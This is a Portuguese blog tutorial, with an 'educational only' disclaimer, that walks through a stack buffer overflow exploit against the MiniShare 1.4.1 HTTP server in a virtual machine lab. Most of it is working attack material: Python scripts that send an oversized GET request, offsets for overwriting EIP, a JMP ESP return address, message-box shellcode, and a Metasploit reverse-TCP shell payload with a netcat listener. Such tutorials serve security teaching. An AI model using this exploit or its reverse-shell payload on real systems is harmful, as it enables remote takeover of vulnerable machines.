Computação e sociedade.

quarta-feira, 17 de fevereiro de 2010

Uma introdução ao Buffer Overflow (Buffer Overflow na prática)

ATENÇÃO! O conteúdo a ser apresentado neste artigo visa fixar o conhecimento em ataques via Buffer Overflow SOMENTE para fins educacionais. NÃO utilize o conhecimento aqui adquirido para violar nenhum sistema, isto é crime.


1 - Introdução

"Na Informática, transbordamento de dados (em inglês: buffer overflow) acontece quando o tamanho de um buffer ultrapassa sua capacidade máxima de armazenamento.

Se o programa não foi adequadamente escrito, esse excesso de dados pode acabar sendo armazenado em áreas de memória próximas, corrompendo dados ou travando o programa, ou mesmo ser executado, que é a possibilidade mais perigosa. Por exemplo, se um programa qualquer possuir uma vulnerabilidade no sistema de login por exemplo, pode-se criar um outro programa que fornece caracteres de texto até completar o buffer e que depois envie um executável, que acabaria rodando graças à vulnerabilidade.

Um caso famoso foi descoberto em 2000 no Outlook Express. Graças a uma vulnerabilidade, era possível fazer com que um e-mail executasse arquivos apenas por ser aberto. Bastava anexar um arquivo com um certo número de caracteres no nome, que ele seria executado ao ser aberta a mensagem. Naturalmente, a Microsoft se apressou em lançar uma correção e alertar os usuários para o problema. Semanalmente são descobertas vulnerabilidades de buffer overflow em vários programas. Algumas são quase inofensivas, enquanto outras podem causar problemas sérios.

Origem: Wikipédia, a enciclopédia livre"






O Buffer-Overflow ocorre geralmente em alguma entrada de dados e é ocasionado por um um simples erro de programação(desatenção :D). Vide acima.

Devemos tomar muito cuidado ao desenvolvermos nosso software, principalmente quando trabalhamos com o desenvolvimento de aplicações que receberão entrada de dados via sock. Em C por exemplo, temos uma grande autonomia sobre a memória, este tipo de flexibilidade requer muita atenção, costumamos utilizar a função strcpy(), que não limita o tamanho do source(string de origem) e pode sobrescrever grande parte da memória a partir do início da string destino, incluindo a pilha e até mesmo alterando valores de registradores. Neste caso, por quê não usar strncpy() ?


2 - Achando a Brecha

Primeiramente devemos descobrir se o sistema alvo possui este tipo de vunerabilidade (BufferOverflow). Existem basicamente duas maneiras para sabermos se determidado sistema é vulnerável, são elas:
- Checar por uma lista de vulnerabilidades conhecidas. Exemplo: Secunia ou exploit-db

- Debugar o sistema e identificar a vulnerabilidade.

Neste post, vamos analisar a vulnerabilidade do MiniShare 1.4.1 seguindo os passos da segunda opção, apesar desta ser uma falha conhecida (MiniShare HTTP "GET" Request Buffer Overflow Vulnerability). Vamos utilizar como debugger o OllyDbg 1.10, mas vocês podem utilizar outro, caso queiram.


Arsenal:
- Estou utilizando duas máquinas virtuais para emular o nosso ataque, uma com Windows XP SP2 e outra com Linux (BackTrack).
- A máquina vítima (Windos XP) possui IP 10.0.0.104
- A máquina ataque (BackTrack) possui IP 10.0.0.102

O minishare é um simples servidor web(HTTP) para publicação de arquivos a serem compartilhados na rede. Ele basicamente recebe requisições GET / HTTP, que solicitam o download desses arquivos.

De acordo com a RFC que define o protocolo HTTP, a função GET é escrita em um pacote da seguinte forma:
"GET" +CONTEÚDO EM BYTES+ "HTTP/" +versão+ "\r\n\r\n"

Já entraremos em mais detalhes, porém agora, iremos debugar a nossa aplicação alvo na máquina vítima.

1- Abra o OllyDbg e utilize a opção File->Open, escolhendo o executável do minishare.


2- Clique no botão run para executar o programa.


Agora que temos a nossa aplicação alvo em execução, o que vamos fazer?

Ora. Vamos mandar nossas requisições HTTP! :D

Para isso faremos um programa em python para mandar o pacote contendo a nossa requisição ao minishare da máquina alvo.

Escolhi python por que é muito simples de se fazer, mas poderia ser feito em qualquer outra linguagem.

O programa é basicamente isto:

import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "CONTEÚDO" + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Agora vamos rodar este programa na máquina de ataque:
root@bt:~# python exploit.py
root@bt:~#

Tudo Ok.


E o que será que acontece se mandarmos um conteúdo bem grande?

Vejamos:
import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "\x54\x48\x58"*1000 + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

PS: "\x54\x48\x58" = "THX" e 3000 bytes é razoavelmente grande.


Opa! Agora observe que causamos uma exceção na máquina alvo e o minishare travou.



Observe que o estado de execução no OllyDbg está "Paused", observe também os valores de ESP e EIP.
ESP = "THXTHX ... THX ..."
EIP = 58485458 = "XHTX" em ASCII ("XTHX" ao contrário)

Ou seja, conseguimos modificar os valores de ESP e EIP através do conteúdo que enviamos para uma máquina remota! :D

Se pensarmos um pouco mais perceberemos que estamos com TUDO SOB CONTROLE.


3 - Tudo Sob Controle

Ao pararmos para pensar logo percebemos (sem usar muita criatividade) que:

- Se conseguimos alterar os valores de ESP e EIP com o nosso buffer, então, podemos alterar o valor de EIP(Serve como ponteiro para a proxima instrução a ser executada) para um endereço de memória onde esta alguma instrução de máquina que nos interessa e já que ESP está apontando para uma area de memória que sobrescrevemos, podemos escrever um bytecode a ser executado em nosso buffer.

Como fazer isso?

-Para quem sabe um pouco de assembly sebemos q existe a instrução JMP ESP, que pode ser utilizada para darmos um salto até a parte inicial do nosso bytecode no buffer. Então basta alterar o valor de EIP para um endereço que contenha tal instrução.

Onde achar o tal JMP ESP no executável?

-Provavelmente haverão muitos JMP ESP no código do executável e qualquer um nos serve, porém, para escrevermos o nosso programa de ataque de forma genérica, vamos utilizar um JMP ESP que esteja carregado em alguma DLL.
(As DLL's nos Windows XP e anteriores sempre ocupam o mesmo endereçamento de memória, portanto, aqueles JMP ESP que estão na SHELL32.dll terão os mesmos endereços após o computador ter sido reiniciado)

Quais Bytes do buffer devemos alterar?

Pois é, agora temos que calcular os offset's do buffer, ou seja, a partir de qual byte estamos mexendo no valor de ESP? E de EIP? Para realizar esta nossa etapa poderiamos pensar em uma forma, ou simplesmente usar um utilitário, em nosso caso vamos utilizar o pattern_create.rb (tool do MetaSploit):

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A ... Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9

A intenção foi de criar uma string de forma crescente para que saibamos o offset, a partir do início do buffer, até onde alteramos ESP e EIP. Se o valor de ESP em ASCII for Aa1Aa2... sabemos que o offset até ESP é então 3 bytes a partir do inicio do buffer.

Agora façamos mais um teste... agora com o buffer preenchido com a nossa string:

import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A ... Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9" + " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Execute:
root@bt:~# python exploit.py

Agora observe a máquina vítima:



Agora devemos achar o offset até Ch7Ch8..., ou seja, o offset de ESP e o offset de EIP (36684335).

Da mesma forma que usamos o pattern_create vamos usar o seu calculador de offset:


EIP Offset: 1787 bytes
ESP Offset 1791 bytes

Então sabemos que a partir do caracter 1787 escrevemos em EIP (tamanho 4 bytes) e após exatos 4 bytes, escrevemos em ESP.

Procuramos então, pelo endereço de um JMP ESP:

No Ollydbg, abra a janela "Executable Module" abra o módulo shell32.dll e procure o comando JMP ESP (CTRL+F).


Achamos um JMP ESP no endereço 7CA58265 (no meu caso...), Então devemos modificar nosso skell(Python) com 1787 bytes lixo, 4 bytes para o endereço que será escrito em EIP e mais um Shellcode(um código que queremos que seja executado).

import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "T"*1787 +
buffer += "\x65\x82\xA5\x7C" +
buffer += "SHELLCODE" +
buffer +=" HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Note: O endereço é escrito no registrador com 4 bytes na ordem inversa(direita para esquerda).

Finalmente estamos quase lá, agora devemos produzir um shellcode, ou pegar um pronto! ;D

http://www.milw0rm.com/shellcode/win32

Vamos usar o "win32/xp sp2 Pop up message box 110 bytes"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
"\x77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
"\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
"\xff\x4f\x6d\x65\x67\x61\x37\x4e";


Então:

import socket

target_address="10.0.0.104"
target_port=80

import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "\x44" * 1787 + "\x65\x82\xA5\x7C"
buffer += "\x90" * 30 #Agluns NOP's para nao bugar
buffer += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
buffer += "\x77\x1d\x80\x7c" #LoadLibraryA(libraryname) IN WinXP sp2
buffer += "\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
buffer += "\x28\xac\x80\x7c" #GetProcAddress(hmodule,functionname) IN sp2
buffer += "\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
buffer += "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
buffer += "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
buffer += "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
buffer += "\xff\x4f\x6d\x65\x67\x61\x37\x4e"
buffer += " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Vamos executar para ver no que dá... =)




Pronto! :)

Mas mandar um messagebox não é tão legal, então vamos fazer um shellcode que abre uma conexão com a maquina linux e mostra o prompt do DOS para ela.

Vamos usar o metasploit para pegarmos um shellcode:



Usamos o msfpayload com o exploit 'windows/shell_reverse_tcp', setamos o HOST com o IP da máquina de ataque e escolhemos uma porta.
Isto em pipe com msfencode, que nos mostra o shellcode na arqutetura x86(-a), retira os caracteres \x00, \r e \n (-b), pois eles destroem a string do buffer e mostra como seria a string em C (-t).

Agora substituímos o nosso shellcode:

import socket

target_address="10.0.0.104"
target_port=80

buffer = "GET " + "\x44" * 1787 + "\x65\x82\xA5\x7C"
buffer += "\x90" * 30
buffer += "\xb8\x42\x90\x09\xbc\xdb\xcf\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
buffer += "\x4f\x31\x42\x15\x03\x42\x15\x83\xea\xfc\xe2\xb7\x6c\xe1\x35"
buffer += "\x37\x8d\xf2\x25\xbe\x68\xc3\x77\xa4\xf9\x76\x48\xaf\xac\x7a"
buffer += "\x23\xfd\x44\x08\x41\x29\x6a\xb9\xec\x0f\x45\x3a\xc1\x8f\x09"
buffer += "\xf8\x43\x73\x50\x2d\xa4\x4a\x9b\x20\xa5\x8b\xc6\xcb\xf7\x44"
buffer += "\x8c\x7e\xe8\xe1\xd0\x42\x09\x25\x5f\xfa\x71\x40\xa0\x8f\xcb"
buffer += "\x4b\xf1\x20\x47\x03\xe9\x4b\x0f\xb3\x08\x9f\x53\x8f\x43\x94"
buffer += "\xa0\x64\x52\x7c\xf9\x85\x64\x40\x56\xb8\x48\x4d\xa6\xfd\x6f"
buffer += "\xae\xdd\xf5\x93\x53\xe6\xce\xee\x8f\x63\xd2\x49\x5b\xd3\x36"
buffer += "\x6b\x88\x82\xbd\x67\x65\xc0\x99\x6b\x78\x05\x92\x90\xf1\xa8"
buffer += "\x74\x11\x41\x8f\x50\x79\x11\xae\xc1\x27\xf4\xcf\x11\x8f\xa9"
buffer += "\x75\x5a\x22\xbd\x0c\x01\x2b\x72\x23\xb9\xab\x1c\x34\xca\x99"
buffer += "\x83\xee\x44\x92\x4c\x29\x93\xd5\x66\x8d\x0b\x28\x89\xee\x02"
buffer += "\xef\xdd\xbe\x3c\xc6\x5d\x55\xbc\xe7\x8b\xfa\xec\x47\x64\xbb"
buffer += "\x5c\x28\xd4\x53\xb6\xa7\x0b\x43\xb9\x6d\x3a\x43\x2d\x84\x3d"
buffer += "\x4c\xcb\xf0\x3f\x4c\x09\x0b\xc9\xaa\x47\x1b\x9f\x65\xff\x82"
buffer += "\xba\xfe\x9e\x4b\x11\x96\x03\xd9\xfe\x67\x4a\xc2\xa8\x30\x1b"
buffer += "\x34\xa1\xd5\xb1\x6f\x1b\xc8\x48\xe9\x64\x48\x96\xca\x6b\x50"
buffer += "\x5b\x76\x48\x42\xa5\x77\xd4\x36\x79\x2e\x82\xe0\x3f\x98\x64"
buffer += "\x5b\xe9\x77\x2f\x0b\x6c\xb4\xf0\x4d\x71\x91\x86\xb2\xc3\x4c"
buffer += "\xdf\xcd\xeb\x18\xd7\xb6\x16\xb9\x18\x6d\x93\xc9\x52\x2c\xb5"
buffer += "\x41\x3b\xa4\x84\x0f\xbc\x12\xca\x29\x3f\x97\xb2\xcd\x5f\xd2"
buffer += "\xb7\x8a\xe7\x0e\xc5\x83\x8d\x30\x7a\xa3\x87\x3b"
buffer += " HTTP/1.1\r\n\r\n"


sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Antes de executarmos, na máquina de ataque vamos digitar o seguinte comando:
nc -lp 6666
ou com verbose mode (vv)
nc -vvlp 6666

este comando(netcat) fará com que nossa máquina ataque escute (-l) qualquer conexão que chegue a porta (p) 6666.


Finalmente executamos o nosso exploit:

python exploit.py






Agora sim.. ;)

Qualquer dúvida mande um e-mail: thxmxx@gmail.com